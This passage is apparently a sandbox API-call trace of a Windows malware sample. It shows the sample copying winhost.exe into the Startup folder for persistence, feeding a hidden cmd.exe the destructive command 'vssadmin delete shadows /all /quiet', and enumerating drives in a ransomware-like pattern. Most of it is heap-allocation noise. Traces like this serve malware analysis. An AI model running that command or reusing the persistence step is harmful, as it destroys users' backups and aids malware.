Flags=0x0, Size=0x10) returned 0x4f4a38 [0054.661] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a38, Size=0x20) returned 0x4f58e8 [0054.661] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a38 [0054.662] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a38, Size=0x20) returned 0x4f5938 [0054.662] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0054.662] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0054.662] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0054.662] lstrlenW (lpString="kernel32.dll") returned 12 [0054.662] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f58e8 | out: hHeap=0x4c0000) returned 1 [0054.662] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0054.662] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f5938 | out: hHeap=0x4c0000) returned 1 [0054.662] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0054.662] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0054.667] ReadFile (in: hFile=0xe4, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0054.704] WriteFile (in: hFile=0xe8, lpBuffer=0x2100020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0054.710] ReadFile (in: hFile=0xe4, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0054.711] CloseHandle (hObject=0xe8) returned 1 [0054.713] CloseHandle (hObject=0xe4) returned 1 [0054.713] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a38 [0054.713] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a38, Size=0x20) returned 0x4f5938 [0054.713] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a38 [0054.713] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a38, Size=0x20) returned 0x4f58e8 [0054.714] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0054.714] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0054.714] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0054.714] lstrlenW (lpString="kernel32.dll") returned 12 [0054.714] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f58e8 | out: hHeap=0x4c0000) returned 1 [0054.714] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0054.714] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f5938 | out: hHeap=0x4c0000) returned 1 [0054.714] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x2100020 | out: hHeap=0x4c0000) returned 1 [0054.741] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4fb598 | out: hHeap=0x4c0000) returned 1 [0054.742] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50b5a0 | out: hHeap=0x4c0000) returned 1 [0054.742] lstrlenW (lpString="%windir%\\System32") returned 17 [0054.742] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f69b0 | out: hHeap=0x4c0000) returned 1 [0054.742] lstrlenW (lpString="%appdata%") returned 9 [0054.742] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d43a0 | out: hHeap=0x4c0000) returned 1 [0054.742] lstrlenW (lpString="%sh(Startup)%") returned 13 [0054.742] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d4378 | out: hHeap=0x4c0000) returned 1 [0054.742] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0054.742] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f69f8 | out: hHeap=0x4c0000) returned 1 [0054.742] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a38 [0054.742] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a38, Size=0x20) returned 0x4d4378 [0054.742] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4378, Size=0x40) returned 0x4f69f8 [0054.742] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f69f8, Size=0x80) returned 0x51b5c0 [0054.742] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a38 [0054.743] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a38, Size=0x20) returned 0x4d4378 [0054.743] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x1fffc) returned 0x4fb598 [0054.743] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x51d5a8 [0054.743] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x52d5b0 [0054.743] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a38 [0054.743] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a38, Size=0x20) returned 0x4d43a0 [0054.743] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d43a0, Size=0x40) returned 0x4f69f8 [0054.743] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f69f8, Size=0x80) returned 0x51b648 [0054.743] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x51b648, Size=0x100) returned 0x4f7bb8 [0054.743] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0054.743] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f7bb8 | out: hHeap=0x4c0000) returned 1 [0054.743] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x51d5a8, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0054.744] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x52d5b0 | out: hHeap=0x4c0000) returned 1 [0054.744] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51d5a8 | out: hHeap=0x4c0000) returned 1 [0054.744] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0054.746] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0054.747] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0054.747] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0054.747] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x990, dwThreadId=0x594)) returned 1 [0055.188] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0055.188] WriteFile (in: hFile=0xec, lpBuffer=0x51b5c0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x51b5c0*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0055.188] CloseHandle (hObject=0xfc) returned 1 [0055.188] CloseHandle (hObject=0xf8) returned 1 [0055.188] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4fb598 | out: hHeap=0x4c0000) returned 1 [0055.188] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0055.189] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51b5c0 | out: hHeap=0x4c0000) returned 1 [0055.189] lstrlenW (lpString="%comspec%") returned 9 [0055.189] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d4378 | out: hHeap=0x4c0000) returned 1 [0055.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0055.190] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f4a38 [0055.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x4f4a38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0055.193] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4d47b0 [0055.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x4d47b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0055.194] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a50 [0055.194] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a50, Size=0x20) returned 0x4d4378 [0055.195] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4378, Size=0x40) returned 0x4f69f8 [0055.195] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0055.195] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xd0) returned 0x4f7c30 [0055.195] GetLogicalDrives () returned 0x4 [0055.195] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10014) returned 0x4fb598 [0055.195] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a50 [0055.195] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f4a50, Size=0x20) returned 0x4d4378 [0055.195] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4378, Size=0x40) returned 0x4f6a88 [0055.195] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f6a88, Size=0x80) returned 0x51b5c0 [0055.195] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x51b5c0, Size=0x100) returned 0x4f91a0 [0055.195] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f91a0, Size=0x200) returned 0x4f91a0 [0055.195] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f91a0, Size=0x400) returned 0x4f91a0 [0055.196] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f91a0, Size=0x800) returned 0x4f97b8 [0055.196] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f97b8, Size=0x1000) returned 0x50b5b8 [0055.196] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x51d5a8 [0055.196] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a50 [0055.196] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f4b28 [0055.196] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x4) returned 0x4d4758 [0055.196] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f4b40 [0055.196] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x4) returned 0x4d4768 [0055.196] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f4b58 [0055.196] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4768, Size=0x8) returned 0x4d4768 [0055.196] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f4b70 [0055.196] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4768, Size=0x10) returned 0x4d4720 [0055.196] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f4b88 [0055.196] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f4ba0 [0055.196] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4720, Size=0x20) returned 0x4f7ab8 [0055.196] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f4bb8 [0055.196] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4d4768 [0055.197] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x4f4bd0 [0055.197] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x4f4be8 [0055.197] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f7ab8, Size=0x40) returned 0x4f52e0 [0055.197] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x4f4c00 [0055.197] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x4f4c18 [0055.197] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x4f4c30 [0055.197] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x4f4c48 [0055.197] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f4c60 [0055.197] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f4c78 [0055.197] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4f5328 [0055.197] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f4c90 [0055.197] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f52e0, Size=0x80) returned 0x4f91a0 [0055.197] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f4ca8 [0055.197] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f4cc0 [0055.197] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f4cd8 [0055.197] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f4cf0 [0055.198] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f97d0 [0055.198] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f97e8 [0055.198] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9800 [0055.198] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4d4720 [0055.198] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9818 [0055.198] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9830 [0055.198] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f9848 [0055.198] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9860 [0055.198] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f9878 [0055.198] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9890 [0055.198] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f98a8 [0055.198] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f98c0 [0055.198] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f91a0, Size=0x100) returned 0x4f91a0 [0055.198] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f98d8 [0055.198] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f98f0 [0055.199] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9908 [0055.199] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f9920 [0055.199] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9938 [0055.199] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9950 [0055.199] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4d4730 [0055.199] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9968 [0055.199] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9980 [0055.199] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9998 [0055.199] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x6) returned 0x4f7ab8 [0055.199] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f99b0 [0055.199] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f99c8 [0055.199] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4f7ac8 [0055.199] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f99e0 [0055.199] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f99f8 [0055.200] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f9a10 [0055.200] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9a28 [0055.200] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9a40 [0055.200] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9a58 [0055.200] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x4f9a70 [0055.200] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9a88 [0055.200] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f9aa0 [0055.200] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9ab8 [0055.200] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9ad0 [0055.200] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9ae8 [0055.200] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9b00 [0055.200] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4f7ad8 [0055.200] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9b18 [0055.200] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9b30 [0055.200] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9b48 [0055.200] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9b60 [0055.201] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f91a0, Size=0x200) returned 0x4f91a0 [0055.201] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9b78 [0055.201] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4f52e0 [0055.201] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9b90 [0055.201] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9bd0 [0055.201] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9be8 [0055.201] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9c00 [0055.201] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9c18 [0055.201] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9c30 [0055.201] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9c48 [0055.201] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9c60 [0055.201] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9c78 [0055.201] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f9c90 [0055.201] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f9ca8 [0055.201] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9cc0 [0055.202] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9cd8 [0055.202] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f9cf0 [0055.202] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f9d08 [0055.202] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9d20 [0055.202] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f9d38 [0055.202] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f9d50 [0055.202] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9d68 [0055.202] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9d80 [0055.202] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9d98 [0055.202] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4f52f0 [0055.202] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9db0 [0055.202] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9dc8 [0055.202] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9de0 [0055.202] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4f9fd0 [0055.202] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9df8 [0055.203] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f9e10 [0055.203] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9e28 [0055.203] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9e40 [0055.203] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9e58 [0055.203] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9e70 [0055.203] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9e88 [0055.203] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9ea0 [0055.203] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f9eb8 [0055.203] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f9ed0 [0055.203] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9ee8 [0055.203] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9f00 [0055.203] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9f18 [0055.203] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f9f30 [0055.203] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9f48 [0055.203] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9f60 [0055.203] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9f78 [0055.203] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f9f90 [0055.204] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c5d8 [0055.204] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c5f0 [0055.204] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c608 [0055.204] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4f9fe0 [0055.204] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x6) returned 0x4f9ff0 [0055.204] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c620 [0055.204] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c638 [0055.204] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c650 [0055.204] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c668 [0055.204] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c680 [0055.204] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50c698 [0055.204] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c6b0 [0055.204] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c6c8 [0055.204] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c6e0 [0055.204] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c6f8 [0055.205] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50c710 [0055.205] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c728 [0055.205] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c740 [0055.205] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f91a0, Size=0x400) returned 0x4f91a0 [0055.205] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c758 [0055.205] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50c770 [0055.205] RtlAllocateHeap 